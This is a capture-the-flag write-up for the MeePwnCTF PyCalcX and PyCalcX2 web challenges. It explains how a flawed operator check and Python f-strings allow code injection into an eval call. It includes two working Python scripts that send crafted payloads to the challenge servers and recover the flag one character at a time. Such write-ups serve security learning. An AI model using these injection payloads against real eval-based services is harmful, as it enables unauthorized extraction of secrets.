Skip to content

Latest commit

 

History

History
 
 

web_pycalcx

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

PyCalcX (web)

Those were almost identical challenges, and in fact the first one had a simpler, unintended, solution and therefore another version was released.

PyCalcX (64 solved, 100p)

In the first challenge we get access to a webpage which can evaluate some python for us. The flag is loaded into the memory, so we basically have a Python Jailbreak to solve. We get the source code of the challenge.

The important things are:

  1. We can see only integer or boolean output.
  2. Parameters are sanitized, and stringified.
  3. Types of parameters have to match.
  4. The final payload to eval is str(repr(value1)) + str(op) + str(repr(value2)) which means for example 'a' + '+' + 'b'

The vulnerability is here:

    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+','-','/','*','=','!']
        if val == '' or val[0] not in list_ops:
            print('<center>Invalid op</center>')
            sys.exit(0)
        return val

The operator can be 2-bytes long (like ==), but only the first byte is checked! This means for example that we can use operator +' and therefore close the ' quote.

This means we could evaluate: 'SOMETHING' +''+FLAG and FLAG>source#' which means some_string and boolean, which evaluates to the value of this boolean.

Keep in mind we're using the:

if 'source' in arguments:
    source = arguments['source'].value

And not for example value1 variable, because source has no blacklist limitations.

import re
import string
import urllib

import requests


def main():
    flag = "M"
    while True:
        prev = 0
        for i in range(255):
            c = chr(i)
            if c in string.printable:
                source = urllib.quote_plus(flag + c)
                op = urllib.quote_plus("+'")
                arg2 = urllib.quote_plus("+FLAG and FLAG>source#")
                result = requests.get("http://178.128.96.203/cgi-bin/server.py?source=%s&value1=x&op=%s&value2=%s" % (source, op, arg2)).text
                if ">>>>" in result:
                    res = re.findall(">>>>.*", result, re.DOTALL)[0]
                    if "False" in res:
                        flag += prev
                        print(flag)
                        break
                    else:
                        prev = c


main()

We check every character until the flag becomes bigger than our payload, which means that previous character was the right one, and we can start working on next flag position. It takes a while but in the end we get: MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])

PyCalcX2 (54 solved, 100p)

Second level of the challenge is very similar. We also get the source code

The difference is very tiny:

op = get_op(get_value(arguments['op'].value))

Which means the operator also passes via blacklist, and therefore cannot contain ' any more. But we can still inject something behind the operator!

We guessed that our first solution was unintended, but the flag suggested that intended solution has something to do with new Python features. We looked at release notes and we found an interesting article: https://www.python.org/dev/peps/pep-0498/

There is a f modifier for strings, which allows to do some nice evaluation inside strings. We could for example do f'{FLAG}' and it would place the variable value inside the string. However since we can't escape from ' we can't really create any boolean condition anymore.

It took us a while to figure out the approach, but we finally reched: 'T' +f'ru{FLAG>source or 14:x}'

  • We use the short circuit or to get one of the two results, depending on the result of first comparison. Basically True or 14 returns True and False or 14 returns 14.
  • We use x modifier to turn 14 into hex digit e
  • The string f'ru{FLAG>source or 14:x}' therefore evaluates to either ru1 or rue, depending on the FLAG>source condition
  • The result of evaluation will be either Tru1 or True, and in the second case, we will se the result on the page, because it will be treated as boolean.
import re
import string
import urllib

import requests


def main():
    flag = "M"
    while True:
        prev = 0
        for i in range(255):
            c = chr(i)
            if c in string.printable:
                print('testing', c)
                arg1 = urllib.quote_plus("T")
                op = urllib.quote_plus("+f")
                arg2 = urllib.quote_plus("ru{FLAG>source or 14:x}")
                result = requests.get("http://206.189.223.3/cgi-bin/server.py?source=%s&value1=%s&op=%s&value2=%s" % (flag + c, arg1, op, arg2)).text
                if ">>>>" in result:
                    res = re.findall(">>>>.*", result, re.DOTALL)[0]
                    if "True" in res:
                        flag += prev
                        print(flag)
                        break
                    else:
                        prev = c


main()

The rest of the approach is the same as in previous challenge. After a while we get: MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}